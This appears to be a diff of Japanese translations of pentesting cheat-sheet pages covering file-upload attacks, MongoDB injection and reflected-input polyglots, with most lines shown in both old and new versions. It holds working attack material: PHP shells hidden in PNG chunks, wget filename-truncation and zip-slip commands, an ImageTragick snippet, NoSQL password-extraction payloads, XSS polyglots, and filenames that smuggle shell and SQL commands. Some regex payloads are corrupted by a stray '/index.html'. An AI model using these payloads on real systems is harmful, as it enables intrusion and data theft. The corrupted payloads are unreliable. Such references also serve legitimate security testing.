- 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- ウェブページが画像を**リサイズ**している場合、例えば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入することができます。
|
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- 画像のリサイズに耐えるペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入することができます。
|
- 画像のリサイズを**生き残る**ペイロードを作成するための別の技術、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### その他のチェックするトリック
|
### その他のチェックするトリック
|
||||||
|
|
||||||
- すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
|
- アップロードされたファイルの**名前を変更**する脆弱性を見つける(拡張子を変更するため)。
|
||||||
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
|
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行する。
|
||||||
- **情報漏洩の可能性**:
|
- **情報漏洩の可能性**:
|
||||||
1. **同じファイル**を**同時に**何度もアップロードします。
|
1. **同じファイル**を**同時に**何度もアップロードする
|
||||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
|
2. **既に存在する**ファイルまたは**フォルダ**の**名前**でファイルをアップロードする
|
||||||
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードします。例えば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを“/www/uploads/”ディレクトリに保存する場合、“.”というファイル名は“/www/”ディレクトリに“uploads”というファイルを作成します。
|
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードする。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||||
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。(Windows)
|
4. **NTFS**で簡単に削除できないファイルをアップロードする(例: **“…:.jpg”**)。(Windows)
|
||||||
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
|
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードする。(Windows)
|
||||||
6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を持つファイルを**Windows**にアップロードします。
|
6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を持つファイルを**Windows**にアップロードする。
|
||||||
- また、**実行可能ファイル**(.exe)や**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みます。
|
- **実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することも試みてください。
|
||||||
|
|
||||||
### 特殊な拡張子のトリック
|
### 特殊な拡張子のトリック
|
||||||
|
|
||||||
@ -94,17 +94,17 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||||||
|
|
||||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...)。
|
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...)。
|
||||||
|
|
||||||
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、誰かが**この拡張子を実行可能にした**可能性があります。
|
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warが自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||||
|
|
||||||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
||||||
|
|
||||||
@ -132,8 +132,8 @@ uWSGIの設定ファイル解析の緩い性質を理解することが重要で
|
|||||||
|
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証している可能性があります。しかし、**このチェックは回避可能です。**\
|
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証している可能性があります。しかし、**このチェックは回避可能です。**\
|
||||||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**名前変更**します。
|
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
@ -164,21 +164,21 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
|
|
||||||
## ファイルアップロードから他の脆弱性へ
|
## ファイルアップロードから他の脆弱性へ
|
||||||
|
|
||||||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みます。
|
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みてください。
|
||||||
- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。
|
- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。
|
||||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成します。
|
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成してください。
|
||||||
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
||||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||||
- **JS**ファイル **アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) から **異なるsvgペイロード**を試してください。
|
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してください。
|
||||||
- [有名な **ImageTrick** 脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
||||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- 特別に作成されたPDFを使用したXSS: [以下のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、指定された指示に従って任意のJSを実行するPDFを準備できます。
|
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
|
||||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
|
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
|
||||||
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。
|
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認してください。
|
||||||
|
|
||||||
以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
@ -208,11 +208,11 @@ https://github.com/portswigger/upload-scanner
|
|||||||
|
|
||||||
### Zip/Tarファイルの自動解凍アップロード
|
### Zip/Tarファイルの自動解凍アップロード
|
||||||
|
|
||||||
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます。
|
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます。
|
||||||
|
|
||||||
#### シンリンク
|
#### シンリンク
|
||||||
|
|
||||||
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスします。
|
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
@ -220,16 +220,16 @@ tar -cvf test.tar symindex.txt
|
|||||||
```
|
```
|
||||||
### 異なるフォルダに展開する
|
### 異なるフォルダに展開する
|
||||||
|
|
||||||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||||||
|
|
||||||
そのようなファイルを作成するための自動化されたエクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
|
そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
|
||||||
```python
|
```python
|
||||||
# Listing available options
|
# Listing available options
|
||||||
python2 evilarc.py -h
|
python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
さらに、**evilarcを使ったシンボリックリンクのトリック**も選択肢です。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
さらに、**evilarcを使用したシンボリックリンクトリック**もオプションです。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||||||
|
|
||||||
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
|
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
|
||||||
```python
|
```python
|
||||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||||||
|
|
||||||
## ImageTragic
|
## ImageTragic
|
||||||
|
|
||||||
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**([exploit](https://www.exploit-db.com/exploits/39767)から)
|
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**([エクスプロイト](https://www.exploit-db.com/exploits/39767)から)
|
||||||
```
|
```
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
@ -289,21 +289,21 @@ pop graphic-context
|
|||||||
```
|
```
|
||||||
## PNGにPHPシェルを埋め込む
|
## PNGにPHPシェルを埋め込む
|
||||||
|
|
||||||
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
|
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにとって重要な利点です。
|
||||||
|
|
||||||
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響についての包括的な理解を提供します。
|
この技術の詳細な探求、方法論および潜在的な応用については、次の記事で提供されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響についての包括的な理解を提供します。
|
||||||
|
|
||||||
詳細情報は: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
詳細情報は次のリンクにあります: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## ポリグロットファイル
|
## ポリグロットファイル
|
||||||
|
|
||||||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
|
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
|
||||||
|
|
||||||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||||||
|
|
||||||
適応性があるにもかかわらず、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
適応性があるにもかかわらず、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
||||||
|
|
||||||
詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
|||||||
```javascript
|
```javascript
|
||||||
query = { $where: `this.username == '${username}'` }
|
query = { $where: `this.username == '${username}'` }
|
||||||
```
|
```
|
||||||
攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件で全てのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
|
攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件によってすべてのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
|
||||||
```
|
```
|
||||||
Normal sql: ' or 1=1-- -
|
Normal sql: ' or 1=1-- -
|
||||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||||
@ -67,7 +67,7 @@ in JSON
|
|||||||
### **SQL - Mongo**
|
### **SQL - Mongo**
|
||||||
```
|
```
|
||||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
|
||||||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
||||||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
||||||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
||||||
@ -86,7 +86,7 @@ in JSON
|
|||||||
|
|
||||||
### 異なるコレクションから情報を取得する
|
### 異なるコレクションから情報を取得する
|
||||||
|
|
||||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することが可能です。以下の例では、**`users`**という**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
|
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することが可能です。次の例では、**`users`**という**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
|
||||||
|
|
||||||
**注意:** `$lookup`および他の集約関数は、より一般的な`find()`または`findOne()`関数の代わりに`aggregate()`関数を使用して検索を実行した場合にのみ利用可能です。
|
**注意:** `$lookup`および他の集約関数は、より一般的な`find()`または`findOne()`関数の代わりに`aggregate()`関数を使用して検索を実行した場合にのみ利用可能です。
|
||||||
```json
|
```json
|
||||||
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||||||
|| 1==1//
|
|| 1==1//
|
||||||
|| 1==1%00
|
|| 1==1%00
|
||||||
}, { password : /.*/ }
|
}, { password : /.*/ }
|
||||||
' && this.password.match(/.*/)//+%00
|
' && this.password.match(/.*/index.html)//+%00
|
||||||
' && this.passwordzz.match(/.*/)//+%00
|
' && this.passwordzz.match(/.*/index.html)//+%00
|
||||||
'%20%26%26%20this.password.match(/.*/)//+%00
|
'%20%26%26%20this.password.match(/.*/index.html)//+%00
|
||||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
|
||||||
{$gt: ''}
|
{$gt: ''}
|
||||||
[$ne]=1
|
[$ne]=1
|
||||||
';sleep(5000);
|
';sleep(5000);
|
||||||
|
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の迅速な**概要**を提供することです。
|
これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の**概要**を迅速に提供することです。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
|
> この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、いくつかのコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存します。
|
> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。ここでは**データベースインジェクションも見つかりません**、なぜなら一部のコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存するからです。
|
||||||
|
|
||||||
## Polygloths list
|
## Polygloths list
|
||||||
```python
|
```python
|
||||||
@ -46,7 +46,7 @@ javascript:alert(1)
|
|||||||
javascript:alert()
|
javascript:alert()
|
||||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
